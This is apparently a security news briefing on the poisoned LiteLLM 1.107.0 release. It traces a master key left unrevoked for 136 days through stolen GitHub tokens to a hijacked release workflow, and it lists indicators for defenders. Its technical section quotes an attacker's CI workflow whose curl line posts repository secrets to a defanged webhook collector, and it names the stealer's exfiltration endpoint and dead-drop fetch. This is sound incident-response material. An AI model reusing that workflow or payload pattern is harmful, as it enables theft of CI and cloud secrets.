LiteLLM says a master key left unrevoked for 136 days led to its poisoned 1.107.0 release

A key committed on 27 May was still valid 136 days later, LiteLLM says

LiteLLM's root cause post, published on 23 October 2026, says a configuration file committed on 27 May at 18:53:14 UTC to a public GitHub repository held the master key of an internal deployment of its Agent Platform. The commit was overwritten, but, in the post's words, "key revocation did not occur for the master key". The post's own timeline shows the first attacker call with that key at 21:13 UTC on 10 October. That is 136 days and 2 hours after the commit (derived). The first poisoned litellm==1.107.0 wheel reached PyPI 10 days 14 hours and 27 minutes after that first call (derived), at 11:39:51 UTC on 21 October. Everything below was read from 08:05 UTC on 27 October 2026.

What that arithmetic does not establish: how the attacker found the key, whether anyone else used it during the 136 days, who the attacker is, how many installs of 1.107.0 actually ran, or how many credentials were taken. The post says none of those things. It says the key was valid on 10 October, which is the only reason the 136 days is a measure of anything.

The Register's article of 26 October, which prompted this briefing, was read only through a summary tool, because the site's robots.txt restricts automated fetching. It is cited as a pointer, not as evidence. The evidence is LiteLLM's two posts, read in full, together with the research posts from Wiz, Datadog and Socket, an outside researcher's public GitHub issue, the PyPI page and LiteLLM's own documentation. An earlier briefing, LiteLLM supply chain attack poisons official PyPI and Docker builds, was written on 23 October from the first post, before the root cause was published. Where this piece differs from it, this one follows the 23 October post.

Two clocks: 136 quiet days, then a morning

Zoom

The first clock is long and has no events in it that LiteLLM can point to. The second is short and crowded. On 21 October the attacker's changes began at 08:56 UTC, when the first of ten commits was made to a lookalike repository named Berri-AI/litellm (Wiz and the outside researcher both give the time). At 10:08:29 GitHub branch protection rejected a change to LiteLLM's private release workflow. Five seconds later (derived), at 10:08:34, the same change succeeded, because a token belonging to one of two GitHub organisation owners overrode the protection.

A public report followed at 12:06:41. LiteLLM credits the outside researcher with catching the release within 20 minutes of publication. By the post's own timestamps it was 26 minutes 50 seconds after the first wheel and 19 minutes 45 seconds after the container images (both derived). LiteLLM says it became aware of the release shortly before 13:00 UTC, and its timeline puts the start of incident response at 13:02, which is 55 minutes 19 seconds after the public issue (derived).

The chain, step by step

Zoom

The key and the token. The key belonged to the Agent Platform, which LiteLLM describes as an experimental project for self hosted cloud agents that file pull requests. To do that it held a GitHub token. LiteLLM says the token "was not associated with a service account and was not scoped down": it was the GitHub CLI OAuth token of an organisation owner's own account. On 10 October at 21:27:10 UTC a request to the platform's managed agents endpoint returned the configuration of every managed agent, and that response contained the token. LiteLLM adds that GitHub CLI tokens are issued after two factor login and are not subject to the extra re authentication GitHub asks for on sensitive organisation actions. From that moment, it says, the attacker had owner level access to every repository in the organisation.

The first harvest. With that token the attacker pushed commits to short lived branches whose workflows posted repository secrets to an outside collector, then deleted the runs. At 22:11:45 on 10 October a workflow on a branch named ci-tmp-a351cc in BerriAI/litellm posted six secrets, one of them the GitHub CLI token of a second maintainer. Twenty four seconds later, LiteLLM says, a second workflow in BerriAI/litellm-auto posted a token belonging to a third maintainer. LiteLLM says the GitHub audit log records a hash of the token behind each action, and that those hashes match the tokens later used to approve the release and to delete its run records.

Eleven days of access. Socket, an outside security firm, found the same workflows independently and reports that the repository's own Actions metrics show a successful run of the secret collecting workflow on 10 October and another on 12 October. It counts 20 distinct secret names across the two, including model provider keys on 12 October. LiteLLM says the second round, which it places across private repositories, took only "minimally sensitive secrets and minimally funded provider keys" used in CI testing, and that they were rotated. Socket says it cannot tell from the repository view whether the collector received the data, and does not claim the 10 October theft produced the access used on 21 October. LiteLLM's audit log does, because the token hashes match.

The release. On 21 October the attacker, using the owner's token, changed the private release workflow so that it could build from a repository other than BerriAI/litellm, then pointed it at the lookalike Berri-AI/litellm at commit 20535d8f. One stolen token started the run and another approved the production gate, which LiteLLM believes was a choice to avoid noisy audit logs, since the owner's token could have removed the restriction itself. The pipeline then built, signed and published the wheels and images as it would for a normal release. A third token deleted the production and staging run records at 11:53:49 and 11:54:01, and from 12:09 to 12:24 the owner's token reverted the workflow change and force pushed the main branch back, overriding the block on force pushes. LiteLLM says both commits remain retrievable by their hashes and that the organisation audit log recorded each override.

Four controls that assumed the credential holder was the person

After an earlier incident in March, LiteLLM says it hardened its release pipeline: releases moved to a private repository, a fixed set of workflows using Trusted GitHub Publishers, immutable Docker release tags and signed Docker images. Publishing could be done only by an account locked to one laptop in its office. Datadog notes this is the second supply chain compromise of LiteLLM in 2026 and says no connection between the two has been established.

Zoom

Each of those names describes a control that worked as designed and still did not help. Branch protection did reject the first push. The release was signed, and the container provenance faithfully recorded the lookalike repository as its source, which is the detail Datadog stresses. The account locked to an office laptop had been relaxed on the Monday of that week, which is 19 October (derived), so that any two engineers could trigger and approve a release during a push for bugfix backports. The attacker held tokens for exactly two such engineers and an owner who could switch the rule off. A label such as "signed", "protected" or "trusted publisher" says who or what made the signature, not who was holding the credential.

The same applies to the label on the thing that started it. The Agent Platform was called experimental and internal, and its key was called a master key. Neither word shrank what the key opened. On PyPI, the release history page read on 27 October shows 1.107.0 marked "Release quarantined" and shows "No provenance" beside every release listed, including the clean 1.106.2. The outside researcher's report says LiteLLM has never published attestations. The LiteLLM posts do not mention attestations, so this site cannot say what a PyPI consumer could have verified. On this evidence nothing on PyPI marked the poisoned wheels as different from the real ones before the quarantine. That is an inference from the page, not a statement in the posts.

Stated, and not stated

Two accounts of the same incident, and which one stands

LiteLLM's first post, written while the investigation ran and left in place, said it had seen specific situations in which Claude Code embeds a user's GitHub CLI OAuth token into a response body, which can then appear in LiteLLM request logs. It also reported an unexpected, innocuously named user account in its internal LiteLLM deployment, exposed to the public internet, and suspected a recently patched vulnerability. The 23 October post replaces that: it says the request logs show the first token came from a different service, the Agent Platform. In a comment on the public issue a LiteLLM maintainer says the user account was added by an attacker who already held credentials, that the patched vulnerability was a conjecture, and that Claude Code did not turn out to be the mechanism by which the tokens were taken, only something found while looking for one. The same comment says the company is working with Anthropic to understand why the behaviour happens.

Two lessons follow. First, the superseded account is still in circulation: Wiz's post, as read on 27 October, carries the Claude Code and internal deployment paragraphs from the first post and has no update dated after 22 October, so it predates the correction. A reader working from coverage that quotes the first post would hold the wrong root cause. Second, interests are worth stating. LiteLLM sells an enterprise edition and is the party being described, so it has reason to stress that enterprise customers were unaffected. Anthropic makes Claude Code, which the first post named. Wiz, Datadog and Socket sell security products and each has a reason to publish quickly.

What happened downstream, as far as anyone has said

Datadog, Wiz and the outside researcher agree on the payload. The release added three files to the Python installation's site packages directory: cook.pth, cook.py and sitecustomize.py. Python runs both a .pth file and sitecustomize.py whenever the interpreter starts, so any Python process in the environment ran the code even if LiteLLM was never imported. The credential stealer in cook.py collects cloud, developer, AI tool and browser secrets, and where a DATABASE_URL is set it reads the tables in which the LiteLLM proxy keeps upstream provider credentials. It sends the result, encrypted, to a lookalike domain over plain HTTP. The second file checks a GitHub dead drop hourly for a domain and would run whatever it fetched. Deleting the litellm package directory does not remove these files, and running pip in the environment runs them again.

Wiz is the only source that reports use of stolen material. It says abuse began about 4.5 hours after exfiltration: between 16:20 and 17:01 UTC the attacker checked AWS instance role credentials taken from CI runners and Kubernetes nodes across multiple environments, with an identity check followed by a call listing Bedrock models, which Wiz calls consistent with LLMjacking, meaning use of someone else's model access. In a small number of environments it also listed IAM roles, users and access keys. Wiz's 49,000 figure comes from ClickPy download statistics. Over the 1 h 43 min the wheels were on PyPI that is about 476 downloads a minute (derived), and it counts downloads, not hosts that ran the code. It says nothing about the container images.

The proxy's own keys are part of the exposure. A LiteLLM proxy holds a master key for admin calls, virtual keys it hands to teams, and provider keys stored in its database. LiteLLM's guidance lists the database's provider keys, the master and virtual keys, the DATABASE_URL password and every secret in the environment of any process on the host as things to rotate. The rotation page in LiteLLM's documentation adds a trap, covered under the checklist below.

Technical details

Every block below is copied from the source named in its caption, read on 27 October 2026, with live infrastructure defanged. Where the source prints a value this site has chosen not to repeat, the block says so. No source prints a CVE identifier for this incident. The posts also print no stealer re run commands, and none are added here.

Affected artifacts and the exposure test. LiteLLM's incident post lists what was compromised and says that finding one of the named files confirms exposure but not finding one proves nothing. The container digest is the check for images.

PyPI: litellm==1.107.0: all seven wheels, live from 11:39:51 to 13:23 UTC
Docker Hub: v1.107.0, latest, main-latest, and main-stable: pointed to compromised image index sha256:1bbcb1443bc962e45f5aad53fe3d2c30600e0379715fb6c664cdd3ac126c339e from 11:46:56 to 14:20 UTC
GHCR: v1.107.0, latest, main-latest, and main-stable: pointed to the compromised image indexes below from 11:46:56 UTC until they were made unavailable by 13:51 UTC
ghcr.io/berriai/litellm: sha256:1bbcb1443bc9…
ghcr.io/berriai/litellm-database: sha256:c00f9d92c427…
ghcr.io/berriai/litellm-non_root: sha256:7b00e91cd2fe…

Search filesystem evidence for litellm-1.107.0.dist-info, cook.pth, and sitecustomize.py. Finding one confirms exposure, but not finding one does not prove the environment is clean.

Where the payload came from. The outside researcher compared the source archive on PyPI with the tagged source and found one added line in the build configuration, which told the build tool to bundle a directory the attacker had added. A defender can look for that line in any source archive of 1.107.0 kept in an internal mirror.

 [tool.maturin]
 manifest-path = "litellm-rust/crates/python-bridge/Cargo.toml"
 module-name = "litellm.rust_bridge._native"
 python-source = "."
+data = "cook"
 python-packages = ["litellm_cli"]

File hashes. The seven malicious wheels, as the outside researcher and Datadog print them. Compare against your internal mirror, build caches and artifact stores.

litellm-1.107.0-cp310-abi3-macosx_10_12_x86_64.whl  7598727f209d717041db37f7dca271d3a7d328a279890e0e1d55375729aeb86d
litellm-1.107.0-cp310-abi3-macosx_11_0_arm64.whl  0aaf7ba346d41ef2f40390436738b001180d5a1c03aa093f121078a9969d9a1a
litellm-1.107.0-cp310-abi3-manylinux_2_28_aarch64.whl  668169d35b87bf51324080390b1b1c5ab12bd335cfe5f1a99e3689abd5e02ae6
litellm-1.107.0-cp310-abi3-manylinux_2_28_x86_64.whl  462d0c9f67ca522d9e0e4acd245e90b36ce0d5353604a66bb7c43a1ec4a6fcf7
litellm-1.107.0-cp310-abi3-musllinux_1_2_aarch64.whl  c2e32d0ce2548aa662c18bf5001911a79fe5b30cf8357132275add02fdcde054
litellm-1.107.0-cp310-abi3-musllinux_1_2_x86_64.whl  1bbce8caa94f01c0aaa0b7ddae51553a8a32e1ce53d96d44fe583272aff7ad00
litellm-1.107.0-cp310-abi3-win_amd64.whl  12d4ccc5c6f8d35cf4f2cf233b7f3e418e863e657d81ff5f5fc9e210005b9484
image index  sha256:1bbcb1443bc962e45f5aad53fe3d2c30600e0379715fb6c664cdd3ac126c339e

Host and network indicators. Datadog, Wiz and the outside researcher agree on these. The exfiltration request also carries a hardcoded authentication header, whose value all three print and this site omits. The marker file is written only after a successful exfiltration post, so its absence proves nothing, and the outside researcher later corrected that the loader's own copy of the stealer runs without writing a marker.

Files in site-packages:        cook.pth  cook.py  sitecustomize.py
Exfiltration endpoint:        www.litellm[.]dev/healthcheck
Exfiltration domain:          litellm[.]dev
Dead drop (hourly check):     raw.githubusercontent[.]com/letters9813/pythonclient-test/main/domain.txt
Second stage fetch:           http://<domain>/codepy
Run once marker:              /tmp/.pc_once_72129118c59f5636c0bb
Lock file (daemon running):   /tmp/remote_code_loader.lock
Environment variable:         PRIVCOLLECT_ACTIVE=1
User agent in the request:    Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0)
Request headers also present: X-Token, X-SHA256, Content-Type: application/octet-stream

Repository side hunting. These are the traces left in GitHub by the first harvest and by the release change. They matter to every organisation that runs CI with secrets, not only LiteLLM's users. Socket printed the first workflow with one elision of its own. This excerpt drops further lines, marked with dots, and keeps the trigger, three of the six secret names and the delivery step. The collector address is defanged.

Branches (created, used, deleted within minutes):  ci-tmp-a351cc  ci-tmp-be33e9  ci-tmp-4d8517
Workflow file:                                    .github/workflows/cache.yml
Commit subject:                                   ci: bump cache config
Commits:                                          b69bc36  1a6e3c1  9cf97e9  285fbdc5  20535d8f
Lookalike organisation and fork:                  Berri-AI/litellm
Agent Platform API requests on 10 October:        69.48.229[.]143
Release repository pushes and gate approval:      199.91.221[.]39
Collector service in both workflows:              webhook[.]site

name: ci
on: [push]
permissions: {}
...
          S1: ${{ secrets.GH_TOKEN }}
          S2: ${{ secrets.LINEAR_API_KEY }}
          S3: ${{ secrets.LITELLM_API_KEY }}
...
          curl -m 25 -s -X POST "hxxps://webhook[.]site/..." -H 'Content-Type: text/plain' -H 'X-Tag: lm1' --data-binary @/tmp/c.b64 || true

What to look for in the audit log and Actions history: a workflow triggered by a push to a branch that no longer exists, runs deleted soon after they finish, a protection override and a force push on a release repository, and a release run whose source repository input differs from the organisation's own. LiteLLM says the audit log records a hash of the token behind each action, which lets a defender tie several events to one stolen credential.

Cloud side hunting. Wiz reports the calls it saw with the stolen AWS role credentials. LiteLLM's guidance for hosts that ran the release is to check CloudTrail for the identity call from the instance role around install time, then for use of the role's credentials from outside your own infrastructure.

sts:GetCallerIdentity
bedrock:ListFoundationModels  and a ListModels call
In a small number of environments: ListRoles, ListUsers, ListAccessKeys, ListAccounts, DescribeTrails
Source addresses: 168.100.8[.]57  165.227.201[.]8

Proxy configuration and the rotation trap. LiteLLM's production guide prints the settings that hold the proxy's admin credential and the key that encrypts stored provider credentials. The rotation page warns that the two differ and that rotating the wrong one can leave stored credentials unreadable. Read that page before you rotate, and back up the database first, as it says. This is documentation, not part of the incident: whether the stealer also read a salt key from a process environment is this site's inference from Datadog's statement that it collects the environment of readable processes.

export LITELLM_MASTER_KEY="sk-<long-random-value>"
export LITELLM_SALT_KEY="sk-<paste-a-long-random-key>"
export LITELLM_MODE="PRODUCTION"

If you set a salt key, the proxy decrypts stored credentials with the salt key, not the master key.

Zoom

What a LiteLLM operator should do, in order

The order matters: establish exposure first, because every later step is wasted effort on the wrong hosts, and clean up before you rotate, because rotating from an infected host hands the new secrets to the same code.

The question the 136 days asks

LiteLLM's own summary is that the incident illustrates the risk of failing to rotate a potentially exposed key. That is the whole mechanism, and it is a process failure, not a clever attack: a mistake was noticed, the visible copy was removed, and the thing that made it dangerous stayed alive. The attacker then needed one request to turn a key to an experimental service into owner access to a release pipeline whose controls all assumed the holder of a token was a person.

So the question for every team is not whether it has a secret scanning tool. It is which credential in your estate was exposed once, tidied away, never revoked, and what does it open today?

Key facts